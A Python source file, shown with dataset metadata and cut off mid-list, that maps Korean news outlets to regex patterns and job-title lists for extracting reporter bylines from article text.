0.795404

0.78139

0.765321

0.748132

0

0.023165

0.277547

9,620

245

178

39.265306

0.746906

0.022141

0

0.716667

0

0.011111

0.113085

0.030638

0

1

0.016667

false

0

0.033333

0

0.066667

0

null

0

1

0

1

0

null

0

6

7880cbcc3ecfe5a378a706dbe1133d89ed035537

32,924

py

Python

nt-worker/newGetByline/byLineParserSelector.py

KPFBERT/Newstrust

db1ca6454ce9f421f9c4006f8cd00bade06b17b5

[ "MIT" ]

1

2022-02-25T02:35:09.000Z

nt-worker/newGetByline/byLineParserSelector.py

KPFBERT/Newstrust

db1ca6454ce9f421f9c4006f8cd00bade06b17b5

[ "MIT" ]

null

nt-worker/newGetByline/byLineParserSelector.py

KPFBERT/Newstrust

db1ca6454ce9f421f9c4006f8cd00bade06b17b5

[ "MIT" ]

null

from .byLineClass import MainBylineParser # init def getByLineParser(target: str): target = target.lower() # def __init__(self,boardPattenAdd:list,selfPatten:list,includeText:list): boardPattern = [] selfPattern = [] includeText = [] if "kbs" in target: selfPattern = ["KBS\\s?뉴스\\s?([가-힣]{2,4})\\s?입니다?", "뉴스[,\\s]*([가-힣]{2,4})입니다", "([가-힣]{2,4}) 기잡니다.", "제작:([가-힣]{2,4})", "업그레이드[,\\s]*([가-힣]{2,4})입니다.", "톡톡 ([가-힣]{2,4})입니다."] includeText = ["SBS 뉴미디어부"] return MainBylineParser(boardPattern, selfPattern, includeText) elif "ytn" in target: selfPattern = ["([가-힣]{2,4})\\s?\\[email", "YTN ([가-힣]{2,4})입니다.", "([가-힣]{2,4})\\s?PD\\s?\\[email", "([가-힣]{2,4})\\s?기자\\s?\\[email", "뉴스가 있는 저녁 ([가-힣]{2,4})입니다.", "영상 편집 : ([가-힣]{2,4})", "YTN Star ([가-힣]{2,4}) 기자", "구성 ([가-힣]{2,4})", "취재기자: ([가-힣]{2,4})", "YTN PLUS ([가-힣]{2,4}) 기자", "([가-힣]{2,4})\\s?\$email", "([가-힣]{2,4})\\s?PD\\s?\\(email", "([가-힣]{2,4})\\s?기자\\s?\\(email", "낚시채널 FTV\\s?\\(([가-힣]{2,4})\$", "VJ ([가-힣]{2,4})" "vj ([가-힣]{2,4})" ] boardPattern = ["의 앵커", "앵커", "-VJ", "-구성"] includeText = ["에이앤뉴스"] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True) elif "mbc" in target: selfPattern = ["뉴스\\s?([가-힣]{2,4})\\s?입니다.", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True) elif "obs" in target: selfPattern = [ "([가-힣]{2,4})\\s?\\(email", # 김정수(webmaster@obs.co.kr) ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True) elif "sbs" in target: boardPattern = ["국방전문기자"] includeText = ["SBS 뉴미디어부"] selfPattern = ["KBC\\s?([가-힣]{2,4})\\s?기자", "([가-힣]{2,4}) SBS 기자" ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True) elif "헤럴드경제" in target: includeText = ["아트데이"] boardPattern = ["건설부동산부"] selfPattern = [ "헤럴드경제\\s?([가-힣]{2,4})\\s?기자", "([가-힣]{2,4})\\s?기자" ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True) elif "한라일보" in target: return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True) elif "한국일보" in target: return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True) elif "한국경제" in target: includeText = [] selfPattern = [ "([가-힣]{2,4})\\s?한경닷컴\\s?기자", "([가-힣]{2,4})\\s?한경닷컴\\s?객원", "([가-힣]{2,4})\\s?한경닷컴\\s?연예", "한경닷컴\\s?([가-힣]{2,4})\\s?기자", "([가-힣]{2,4})\\s?기자\\s?email", "([가-힣]{2,4}) 뉴스룸 email" ] boardPattern = ["한국경제신문", "논설위원", "웰스에듀", "여행레저전문기자"] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True) elif "한겨레" in target: boardPattern = ["한국경제신문", "논설위원", "ㅣ논설위원", "객원기자", "선임기자" , "책지성팀장", "ㅣ젠더데스크 ", " ㅣ 디지털콘텐츠부", "ㅣ베이징 특파원", "사람과디지털연구소장" , "ㅣ에디터부문장", "｜국제부", "ㅣ 저널리즘책무실장" ] selfPattern = [ "([가-힣]{2,4})\\s?종교전문기자\\s?email", "([가-힣]{2,4})\\s?선임기자\\s?email", "([가-힣]{2,4})\\s?기자\\s?email", "([가-힣]{2,4})\\s?\\(email", ] # 김미나 기자 mina@hani.co.kr return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True) elif "파이낸셜뉴스" in target: boardPattern = ["논설실장", "골프전문기자", "생활경제부장", "정치부장", "정책사회부장", "정보미디어부", "블록체인팀", "부국장", "논설위원", "국제부장" ] selfPattern = [ "email\\s?([가-힣]{2,4})\\s?기자", ] # 김미나 기자 mina@hani.co.kr return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "충청투데이" in target: # boardPattern = ["논설실장","골프전문기자","생활경제부장","정치부장","정책사회부장", # "정보미디어부", "블록체인팀", "부국장","논설위원","국제부장" # ] # =조재광 기자 cjk9230@cctoday.co.kr selfPattern = [ "\\[충청투데이\\s?([가-힣]{2,4})\\s?기자", "\\[충청투데이\\s?([가-힣]{2,4})", "([가-힣]{2,4})\\s?기자\\s?email", "=([가-힣]{2,4})\\s?기자", ] # 김미나 기자 mina@hani.co.kr return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "충청일보" in target: # boardPattern = ["논설실장","골프전문기자","생활경제부장","정치부장","정책사회부장", # "정보미디어부", "블록체인팀", "부국장","논설위원","국제부장" # ] # =조재광 기자 cjk9230@cctoday.co.kr selfPattern = [ "\\[충청투데이\\s?([가-힣]{2,4})\\s?기자", "\\[충청투데이\\s?([가-힣]{2,4})", "([가-힣]{2,4})\\s?기자\\s?email", "=([가-힣]{2,4})\\s?기자", ] # 김미나 기자 mina@hani.co.kr return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) # 충청일보 elif "충북일보" in target: selfPattern = [ "\\/\\s?([가-힣]{2,4})\\s?기자", "사진=([가-힣]{2,4})", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "중앙일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처" ] selfPattern = [ # "([가-힣]{2,4})\\s?기자\\s?email", "제작=([가-힣]{2,4})", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "중부일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장" ] selfPattern = [ # "([가-힣]{2,4})\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) # 중앙일보 elif "중부매일" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장" ] selfPattern = [ # "([가-힣]{2,4})\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "중도일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부" ] selfPattern = [ "=([가-힣]{2,4})\\s?기자", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "조선일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부" ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "제민일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부" ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "전자신문" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True, backFirst=True) elif "전북일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True, backFirst=True) elif "전북도민일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자"] selfPattern = [ "=([가-힣]{2,4})\\s?기자", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True, backFirst=True) elif "전남일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자"] selfPattern = [ "=([가-힣]{2,4})\\s?기자", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True, backFirst=True) elif "울산매일" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자"] selfPattern = [ "=([가-힣]{2,4})\\s?기자", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True, backFirst=True) elif "영남일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자"] selfPattern = [ "=([가-힣]{2,4})기자", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True, backFirst=True) elif "아주경제" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "팀장", "편집국장"] selfPattern = [ "=([가-힣]{2,4})기자", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True, backFirst=True) elif "아시아경제" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "팀장", "편집국장"] selfPattern = [ "=([가-힣]{2,4})\\s기자", "([가-힣]{2,4})\\s?기자\\s?email" ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "세계일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자"] selfPattern = [ # "([가-힣]{2,4})\\s?기자\\s?email", # "([가-힣]{2,4})\\s?email", "=([가-힣]{2,4})\\s기자", # 현화영 기자 hhy@segye.com ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "서울신문" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소"] selfPattern = [ # "([가-힣]{2,4})\\s?기자\\s?email", # "([가-힣]{2,4})\\s?email", "=([가-힣]{2,4})\\s기자", # 현화영 기자 hhy@segye.com ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "서울경제" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소"] selfPattern = [ # "([가-힣]{2,4})\\s?기자\\s?email", "\\/\\s?([가-힣]{2,4})\\s?email", "=([가-힣]{2,4})\\s기자", # 현화영 기자 hhy@segye.com ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "부산일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소"] selfPattern = [ # "([가-힣]{2,4})\\s?기자\\s?email", "\\/\\s?([가-힣]{2,4})\\s?email", "=([가-힣]{2,4})\\s기자", # 현화영 기자 hhy@segye.com ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "문화일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소"] selfPattern = [ # "([가-힣]{2,4})\\s?기자\\s?email", "\\/\\s?([가-힣]{2,4})\\s?email", "=([가-힣]{2,4})\\s기자", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "무등일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국" ] selfPattern = [ # "([가-힣]{2,4})\\s?기자\\s?email", "\\/\\s?([가-힣]{2,4})\\s?email", "=([가-힣]{2,4})\\s기자", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "머니투데이" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국" ] selfPattern = [ # "([가-힣]{2,4})\\s?기자\\s?email", # "\\/\\s?([가-힣]{2,4})\\s?email", "\\[머니투데이\\s?([가-힣]{2,4})\\s?기자", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "매일신문" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국" ] selfPattern = [ # "([가-힣]{2,4})\\s?기자\\s?email", # "\\/\\s?([가-힣]{2,4})\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) # 수정 필요 매일경제!!!! elif "매일경제" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "감정평가사" ] selfPattern = [ # "([가-힣]{2,4})\\s?기자\\s?email", # "\\/\\s?([가-힣]{2,4})\\s?email", "\\[스타투데이\\s?([가-힣]{2,4})\\s?기자", "\\[([가-힣]{2,4})\\s?매일경제", # 이종혁 매일경제 # 스타투데이 양소영 기자 ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "디지털타임스" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국" ] selfPattern = [ # "([가-힣]{2,4})\\s?기자\\s?email", # "\\/\\s?([가-힣]{2,4})\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "동아일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "스포츠부 차장" ] selfPattern = [ "([가-힣]{2,4})\\s?동아닷컴\\s?기자\\s?email", "동아닷컴\\s?([가-힣]{2,4})\\s?\\s?기자\\s?email", "동아닷컴\\s?([가-힣]{2,4})\\s?\\s?기자\\s?email", "([가-힣]{2,4})\\s?\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "대전일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "스포츠부 차장" ] selfPattern = [ "([가-힣]{2,4})\\s?\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "대구일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "스포츠부 차장" ] selfPattern = [ "([가-힣]{2,4})\\s?\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "내일신문" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "스포츠부 차장" ] selfPattern = [ "([가-힣]{2,4})\\s?\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "국제신문" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "스포츠부 차장", "편집부국장" ] selfPattern = [ "([가-힣]{2,4})\\s?\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "국민일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "스포츠부 차장", "편집부국장", "문화전문기자", "교육전문기자", "사회부장" ] selfPattern = [ # "([가-힣]{2,4})\\s?\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "광주일보" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "스포츠부 차장", "편집부국장", "문화전문기자", "교육전문기자", "사회부장" ] selfPattern = [ # "([가-힣]{2,4})\\s?\\s?기자\\s?email", # "\\/\\s?([가-힣]{2,4})\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "광주매일신문" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "스포츠부 차장", "편집부국장", "문화전문기자", "교육전문기자", "사회부장" ] selfPattern = [ # "([가-힣]{2,4})\\s?\\s?기자\\s?email", # "\\/\\s?([가-힣]{2,4})\\s?기자\\s?email", ] return MainBylineParser(boardPattern, selfPattern, includeText, emailStr=True, backContent=True) elif "경향신문" in target: boardPattern = ["정치팀장", "사회2팀장", "고용노동전문기자 email", "종교전문기자", "문화선임기자", "야구팀장", "논설실장" , "골프전문기자", "사진전문기자", "문화선임기자", "산업1팀장", "논설위원", "인턴기자", "사회에디터", "고용노동전문기자", "프리랜서" , "경제산업부디렉터", "중앙컬처", "경제부장", "시인", "소설가", "경기도박물관장", "경제사회교육부", "정치행정부", "전자신문인터넷" , "도민기자", "중부지역본부장", "수습기자", "국제경제팀", "편집국장", "온라인 뉴스", "선임 기자", "평화연구소", "문화부 차장" , "취재2부", "취재1부장", "신문제작국", "스포츠부 차장", "편집부국장", 